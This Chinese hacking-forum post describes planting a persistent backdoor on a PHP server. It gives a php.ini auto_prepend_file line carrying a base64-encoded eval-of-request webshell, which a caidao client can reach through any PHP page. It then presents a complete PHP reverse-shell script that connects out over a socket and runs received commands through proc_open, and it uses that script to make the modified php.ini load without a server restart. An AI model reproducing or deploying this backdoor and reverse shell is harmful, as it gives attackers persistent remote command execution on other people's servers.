不是首发,拒绝评分!
前言:很多时候,我们需要修改php.ini,却没有办法重启服务...这个就比较头疼了。所以,研究了一下,可以利用PHP_socke让它加载php.ini。
至于原理,我也不是特别明白。。。如果有大佬知道,就请告诉我下...谢谢!
注:这个方法不是100%可以成功的!测试了四台机器有两台成功!
环境: php-5.3.29-NTS (这个NTS是什么鬼?!反正我的phpstudy上就是这样写的) //其他环境好像也行...好吧,我这句是废话...
今天,测试的是一个比较猥琐的后门,昨晚在吐司找到的。一个大佬发的。是修改php.ini的后门,正常情况下是需要重启服务的。
后门如下:
[PHP] 纯文本查看 复制代码allow_url_include = Off
auto_prepend_file="data:;base64,PD9waHAgQGV2YWwoJF9SRVFVRVNUW2NtZF0pOz8+"
这个后门在任何的PHP页面都可以用菜刀连接。
然后创了一个MD5.php用作测试。
1.png (65.92 KB, 下载次数: 38)
2017-3-27 19:06 上传
echo一个md5的加密值,当然这个正常情况下在菜刀中肯定是不能连接的。
2.png (43.73 KB, 下载次数: 39)
2017-3-27 19:06 上传
在php.ini中留好后门后,按道理是需要重启服务才可以执行的。如果不重启,我们的菜刀是连接不上的。
3.png (82.53 KB, 下载次数: 33)
2017-3-27 19:06 上传
当这种需要重启服务的时候,那就比较尴尬了...
现在,上传php_socke的脚本,运行脚本,再测试连接~
4.png (74 KB, 下载次数: 34)
2017-3-27 19:06 上传
连接成功....
脚本来自某个大马的一部分,然后改了改。
附脚本:
[PHP] 纯文本查看 复制代码<?php
/*******************************/
/* BY 傀儡 */
/* 我是一只小弱鸡,咿呀咿呀呦~ */
/* 只适用于windows系统 */
/*******************************/
while(true){ //别问我为什么要死循环,我也不清楚,只有设置成死循环才能加载新的 php.ini ...
@set_time_limit(0);
$system=strtoupper(substr(PHP_OS, 0, 3));
if(!extension_loaded('sockets'))
{
if($system == 'WIN'){@dl('php_sockets.dll') or die("Can't load socket");}
}
$host = '255.255.255.255'; // 搞一个不存在的ip,万一给人家反弹过去了岂不是真尴尬了~~~
$port = 1998; //别问我为什么是1998,问了我也不会告诉你....
if($system=="WIN"){$env=array('path' => 'c:\\windows\\system32');}
$descriptorspec = array(0 => array("pipe","r"),1 => array("pipe","w"),2 => array("pipe","w"),);
$host=gethostbyname($host);
$proto=getprotobyname("tcp");
if(($sock=socket_create(AF_INET,SOCK_STREAM,$proto))<0){die("Socket创建失败");}
if(($ret=@socket_connect($sock,$host,$port))<0){die("连接失败");}
else{
$message=" PHP反弹连接\n";
@socket_write($sock,$message,strlen($message));
$cwd=str_replace('\\','/',dirname(__FILE__));
while($cmd=@socket_read($sock,65535,$proto))
{
if(trim(strtolower($cmd))=="exit"){
socket_write($sock,"Bye\n"); exit;
}else{
$process = proc_open($cmd, $descriptorspec, $pipes, $cwd, $env);
if (is_resource($process)){
fwrite($pipes[0], $cmd);
fclose($pipes[0]);
$msg=stream_get_contents($pipes[1]);
socket_write($sock,$msg,strlen($msg));
fclose($pipes[1]);
$msg=stream_get_contents($pipes[2]);
socket_write($sock,$msg,strlen($msg));
$return_value = proc_close($process);
}
}
}
}
}
?>